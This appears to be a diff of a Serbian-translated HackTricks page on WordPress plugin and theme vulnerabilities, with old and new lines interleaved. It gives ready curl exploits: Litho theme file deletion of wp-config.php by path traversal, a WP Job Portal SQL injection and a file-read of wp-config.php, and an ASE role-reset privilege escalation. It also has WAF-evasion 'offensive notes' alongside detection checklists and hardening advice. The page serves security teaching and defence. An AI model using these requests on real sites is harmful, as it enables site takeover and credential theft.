- Za REST rute koje izvode privilegovane akcije, zahtevaj `current_user_can()` provere i strogi `permission_callback` (ne koristi `__return_true`).
- Preferiraj first-party auth (cookies, application passwords, OAuth) umesto header “impersonation”.
References: see the links at the end of this page for a public case and broader analysis.
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
3. **Strict input sanitisation / validation**.
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -396,28 +443,28 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Problemi koje uvodi ovaj deo koda:
Problemi koje uvodi ovaj isječak:
* **Neautentifikovani pristup** `wp_ajax_nopriv_` hook je registrovan.
* **Nema nonce / provere sposobnosti** bilo koji posetilac može da pristupi kraju.
* **Nema sanitizacije putanje** string `fontfamily` koji kontroliše korisnik se konkatenira sa putanjom do datotečnog sistema bez filtriranja, što omogućava klasičnu `../../` traversalu.
* **Unauthenticated access** `wp_ajax_nopriv_` hook je registrovan.
* **No nonce / capability check** svaki posetilac može pozvati endpoint.
* **No path sanitisation** korisnički kontrolisana `fontfamily` string se konkatenira u filesystem path bez filtriranja, što omogućava klasični `../../` traversal.
#### Eksploatacija
Napadač može obrisati bilo koju datoteku ili direktorijum **ispod osnovnog direktorijuma za upload** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
Napadač može obrisati bilo koji fajl ili direktorijum **ispod osnovnog direktorijuma uploads** (obično `<wp-root>/wp-content/uploads/`) slanjem jednog HTTP POST zahteva:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Zato što `wp-config.php` živi van *uploads*, četiri `../` sekvence su dovoljne na podrazumevanoj instalaciji. Brisanje `wp-config.php` prisiljava WordPress da uđe u *čarobnjaka za instalaciju* pri sledećem posetu, omogućavajući potpunu preuzimanje sajta (napadač samo unosi novu DB konfiguraciju i kreira admin korisnika).
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
Ostali značajni ciljevi uključuju plugin/theme `.php` datoteke (da bi se prekinuli sigurnosni pluginovi) ili `.htaccess` pravila.
Drugi značajni ciljevi uključuju `.php` fajlove plugin-ova/tema (npr. za onesposobljavanje bezbednosnih dodataka) ili `.htaccess` pravila.
#### Lista za detekciju
#### Kontrolna lista za detekciju
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` povratni poziv koji poziva pomoćne funkcije za datotečni sistem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Konkatenacija nepročišćenog korisničkog unosa u putanje (tražite `$_POST`, `$_GET`, `$_REQUEST`).
* Bilo koji `add_action( 'wp_ajax_nopriv_...')` callback koji poziva filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, itd.).
* Konkatenacija nesanitizovanog korisničkog unosa u putanjama (potražite `$_POST`, `$_GET`, `$_REQUEST`).
* Odsustvo `check_ajax_referer()` i `current_user_can()`/`is_user_logged_in()`.
#### Ojačavanje
@ -440,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Uvek** tretirajte svaku operaciju pisanja/brisanja na disku kao privilegovanu i dvostruko proverite:
> • Autentifikacija • Autorizacija • Nonce • Sanitizacija ulaza • Ograničenje putanje (npr. putem `realpath()` plus `str_starts_with()`).
> **Uvek** tretirajte svaku operaciju upisa/brisanja na disku kao privilegovanu i dvaput proverite:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Eskalacija privilegija putem zastare vraćanja uloge i nedostatka autorizacije (ASE "Pogledaj Admin kao Ulogu")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Mnogi dodaci implementiraju funkciju "pogledaj kao ulogu" ili privremeno prebacivanje uloga tako što čuvaju originalne uloge u korisničkim metapodacima kako bi ih kasnije mogli vratiti. Ako putanja vraćanja zavisi samo od parametara zahteva (npr. `$_REQUEST['reset-for']`) i liste koju održava dodatak bez provere sposobnosti i važećeg nonce-a, to postaje vertikalna eskalacija privilegija.
Mnogi plugin-i implementiraju "view as role" ili funkciju privremenog menjanja uloga tako što originalne uloge čuvaju u user meta kako bi ih kasnije vratili. Ako put vraćanja zavisi samo od parametara zahteva (npr. `$_REQUEST['reset-for']`) i liste koju održava plugin, bez provere capabilities i validnog nonce-a, to postaje vertical privilege escalation.
Primer iz stvarnog sveta pronađen je u dodatku Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Grana resetovanja vraćala je uloge na osnovu `reset-for=<username>` ako se korisničko ime pojavilo u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre nego što je uklonila trenutne uloge i ponovo dodala sačuvane uloge iz korisničkih metapodataka `_asenha_view_admin_as_original_roles`:
Primer iz stvarnog sveta pronađen je u Admin and Site Enhancements (ASE) pluginu (≤ 7.6.2.1). Reset grana je vraćala uloge na osnovu `reset-for=<username>` ako je korisničko ime bilo prisutno u internom nizu `$options['viewing_admin_as_role_are']`, ali nije izvršila ni `current_user_can()` proveru ni verifikaciju nonce-a pre nego što ukloni trenutne uloge i ponovo doda sačuvane uloge iz user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -464,17 +511,17 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Zašto je podložan eksploataciji
Zašto je iskorišćivo
- Veruje `$_REQUEST['reset-for']` i opciji dodatka bez autorizacije na serverskoj strani.
- Ako je korisnik prethodno imao više privilegija sačuvanih u `_asenha_view_admin_as_original_roles` i bio je snižen, može ih obnoviti tako što će pritisnuti putanju za resetovanje.
- U nekim implementacijama, bilo koji autentifikovani korisnik mogao bi pokrenuti resetovanje za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (pokidana autorizacija).
- Veruje `$_REQUEST['reset-for']` i opciji plugina bez autorizacije na strani servera.
- Ako je korisnik ranije imao veće privilegije sačuvane u `_asenha_view_admin_as_original_roles` i kasnije mu je smanjena privilegija, može ih vratiti pristupanjem reset putanji.
- U nekim implementacijama, bilo koji autentifikovani korisnik može pokrenuti reset za drugo korisničko ime koje je još uvek prisutno u `viewing_admin_as_role_are` (neispravna autorizacija).
Preduslovi za napad
Preduslovi napada
- Ranjava verzija dodatka sa omogućenom funkcijom.
- Ciljni nalog ima zastarelu ulogu sa visokim privilegijama sačuvanu u korisničkim metapodacima iz ranijeg korišćenja.
- Bilo koja autentifikovana sesija; nedostajući nonce/kapacitet u toku resetovanja.
- Ranjiva verzija plugina sa omogućenom funkcijom.
- Ciljni nalog ima zastarelu ulogu visokih privilegija sačuvanu u user meta od ranije upotrebe.
- Bilo koja autentifikovana sesija; nedostatak nonce/capability u toku reset toka.
Eksploatacija (primer)
```bash
@ -484,60 +531,76 @@ Eksploatacija (primer)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Na ranjivim verzijama ovo uklanja trenutne uloge i ponovo dodaje sačuvane originalne uloge (npr., `administrator`), efikasno povećavajući privilegije.
Na ranjivim izdanjima ovo uklanja trenutne role i ponovo dodaje sačuvane originalne role (npr. `administrator`), čime se efikasno eskaliraju privilegije.
Checklist za detekciju
Detection checklist
- Potražite funkcije za prebacivanje uloga koje čuvaju “originalne uloge” u korisničkoj meti (npr., `_asenha_view_admin_as_original_roles`).
- Identifikujte putanje za resetovanje/obnavljanje koje:
- Potražite funkcije za prebacivanje rola koje čuvaju “originalne role” u user meta (npr. `_asenha_view_admin_as_original_roles`).
- Identifikujte reset/restore putanje koje:
- Čitaju korisnička imena iz `$_REQUEST` / `$_GET` / `$_POST`.
- Modifikuju uloge putem `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autorizuju na osnovu niza opcija dodatka (npr., `viewing_admin_as_role_are`) umesto na osnovu sposobnosti aktera.
- Modifikuju role pomoću `add_role()` / `remove_role()` bez `current_user_can()` i `wp_verify_nonce()` / `check_admin_referer()`.
- Autorisuju se na osnovu plugin option niza (npr. `viewing_admin_as_role_are`) umesto na osnovu actors capabilities.
Ojačavanje
Hardening
- Sprovodite provere sposobnosti na svakoj grani koja menja stanje (npr., `current_user_can('manage_options')` ili strožije).
- Zahtevajte nonce za sve mutacije uloga/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
- Nikada ne verujte korisničkim imenima koja su dostavljena putem zahteva; rešavajte ciljnog korisnika na serverskoj strani na osnovu autentifikovanog aktera i eksplicitne politike.
- Nevažeće stanje “originalnih uloga” prilikom ažuriranja profila/uloga kako biste izbegli zastarelo vraćanje visokih privilegija:
- Sprovodite provere capabilities na svakom ogranku koji menja stanje (npr. `current_user_can('manage_options')` ili strožije).
- Zahtevajte nonces za sve izmene rola/dozvola i verifikujte ih: `check_admin_referer()` / `wp_verify_nonce()`.
- Nikada ne verujte korisničkim imenima iz zahteva; odredite ciljnu korisnika na serverskoj strani na osnovu autentifikovanog izvršioca i eksplicitne politike.
- Onemogućite stanje “originalne role” pri ažuriranju profila/rola kako biste izbegli vraćanje zastarelih visokoprivilegovanih podataka:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Razmotrite čuvanje minimalnog stanja i korišćenje vremenski ograničenih, sposobnostima zaštićenih tokena za privremene promene uloga.
- Razmislite o čuvanju minimalnog stanja i korišćenju time-limited, capability-guarded tokens za privremene promene uloga.
---
## WordPress zaštita
### WAF considerations for WordPress/plugin CVEs
### Redovne ažuriranja
Generički edge/server WAF-ovi su podešeni za široke obrasce (SQLi, XSS, LFI). Mnoge visokog uticaja WordPress/plugin ranjivosti su greške u logici/auth specifične za aplikaciju koje izgledaju kao benigni saobraćaj osim ako engine ne razume WordPress rute i semantiku plugina.
Uverite se da su WordPress, dodaci i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
Offensive notes
- Ciljajte plugin-specific endpoints sa čistim payload-ovima: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Najpre testirajte neautentifikovane putanje (AJAX `nopriv`, REST sa permisivnim `permission_callback`, public shortcodes). Default payloads često uspevaju bez obfuscation.
- Tipični visokog uticaja slučajevi: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Ne oslanjajte se na generičke WAF signatures da zaštite plugin CVEs. Implementirajte application-layer, vulnerability-specific virtual patches ili ažurirajte brzo.
- Preferirajte positive-security provere u kodu (capabilities, nonces, strict input validation) umesto negativnih regex filtera.
## WordPress Protection
### Regular Updates
Proverite da su WordPress, plugins, i teme ažurirani. Takođe potvrdite da je automatsko ažuriranje omogućeno u wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Takođe, **instalirajte samo pouzdane WordPress dodatke i teme**.
Takođe, **instalirajte samo pouzdane WordPress plugins i teme**.
### Bezbednosni dodaci
### Security Plugins
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
- [**iThemes Security**](https://wordpress.org/plugins/better-wp-security/)
### **Ostale preporuke**
### **Other Recommendations**
- Uklonite podrazumevanog **admin** korisnika
- Koristite **jake lozinke** i **2FA**
- Periodično **proveravajte** dozvole korisnika
- **Ograničite pokušaje prijavljivanja** kako biste sprečili Brute Force napade
- Preimenujte **`wp-admin.php`** datoteku i dozvolite pristup samo interno ili sa određenih IP adresa.
- Povremeno **pregledajte** korisničke **dozvole**
- **Ograničite broj pokušaja prijave** da biste sprečili Brute Force napade
- Preimenujte fajl **`wp-admin.php`** i dozvolite pristup samo interno ili sa određenih IP adresa.
### Neautentifikovana SQL injekcija putem nedovoljne validacije (WP Job Portal <= 2.3.2)
WP Job Portal dodatak za zapošljavanje izložio je **savecategory** zadatak koji na kraju izvršava sledeći ranjivi kod unutar `modules/category/model.php::validateFormData()`:
### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)
WP Job Portal plugin za zapošljavanje je izložio zadatak **savecategory** koji na kraju izvršava sledeći ranjiv kod unutar `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -549,9 +612,9 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM "
```
Issues introduced by this snippet:
1. **Nepročišćeni korisnički unos** `parentid` dolazi direktno iz HTTP zahteva.
2. **Konkatenacija stringova unutar WHERE klauzule** nema `is_numeric()` / `esc_sql()` / pripremljene izjave.
3. **Neautentifikovana dostupnost** iako se akcija izvršava putem `admin-post.php`, jedina provera koja postoji je **CSRF nonce** (`wp_verify_nonce()`), koji svaki posetilac može preuzeti sa javne stranice koja uključuje shortcode `[wpjobportal_my_resumes]`.
1. **Neadekvatno očišćen korisnički unos** `parentid` dolazi direktno iz HTTP zahteva.
2. **Konkatenacija stringova unutar WHERE klauzule** nema `is_numeric()` / `esc_sql()` / prepared statement.
3. **Neautentifikovana dostupnost** iako se akcija se izvršava preko `admin-post.php`, jedina provera koja postoji je **CSRF nonce** (`wp_verify_nonce()`), koju bilo koji posetilac može preuzeti sa javne stranice koja u sebi sadrži shortcode `[wpjobportal_my_resumes]`.
#### Eksploatacija
@ -567,20 +630,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Odgovor otkriva rezultat injektovane upita ili menja bazu podataka, dokazujući SQLi.
Odgovor otkriva rezultat injektovanog upita ili menja bazu podataka, što dokazuje SQLi.
### Neautentifikovano preuzimanje proizvoljnih fajlova / Putanja Traversal (WP Job Portal <= 2.3.2)
### Neautentifikovano preuzimanje proizvoljnih fajlova / Path Traversal (WP Job Portal <= 2.3.2)
Još jedan zadatak, **downloadcustomfile**, omogućio je posetiocima da preuzmu **bilo koji fajl na disku** putem putanje traversal. Ranjivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
Drugi zadatak, **downloadcustomfile**, omogućavao je posetiocima da preuzmu **bilo koji fajl na disku** putem path traversal-a. Ranljivi sink se nalazi u `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` је под контролом нападача и конкатенован је **без санитарне обраде**. Опет, једини заштитни механизам је **CSRF nonce** који се може преузети са странице за резиме.
`$file_name` je pod kontrolom napadača i konkatenira se **bez sanitizacije**. Opet, jedino ograničenje je **CSRF nonce** koji se može dohvatiti sa stranice za rezime.
#### Искоришћавање
#### Eksploatacija
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@ -589,13 +652,16 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Server odgovara sadržajem `wp-config.php`, otkrivajući DB akreditive i auth ključeve.
Server vraća sadržaj datoteke `wp-config.php`, leaking DB credentials i auth keys.
## Reference
## References
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
{{#include ../../banners/hacktricks-training.md}}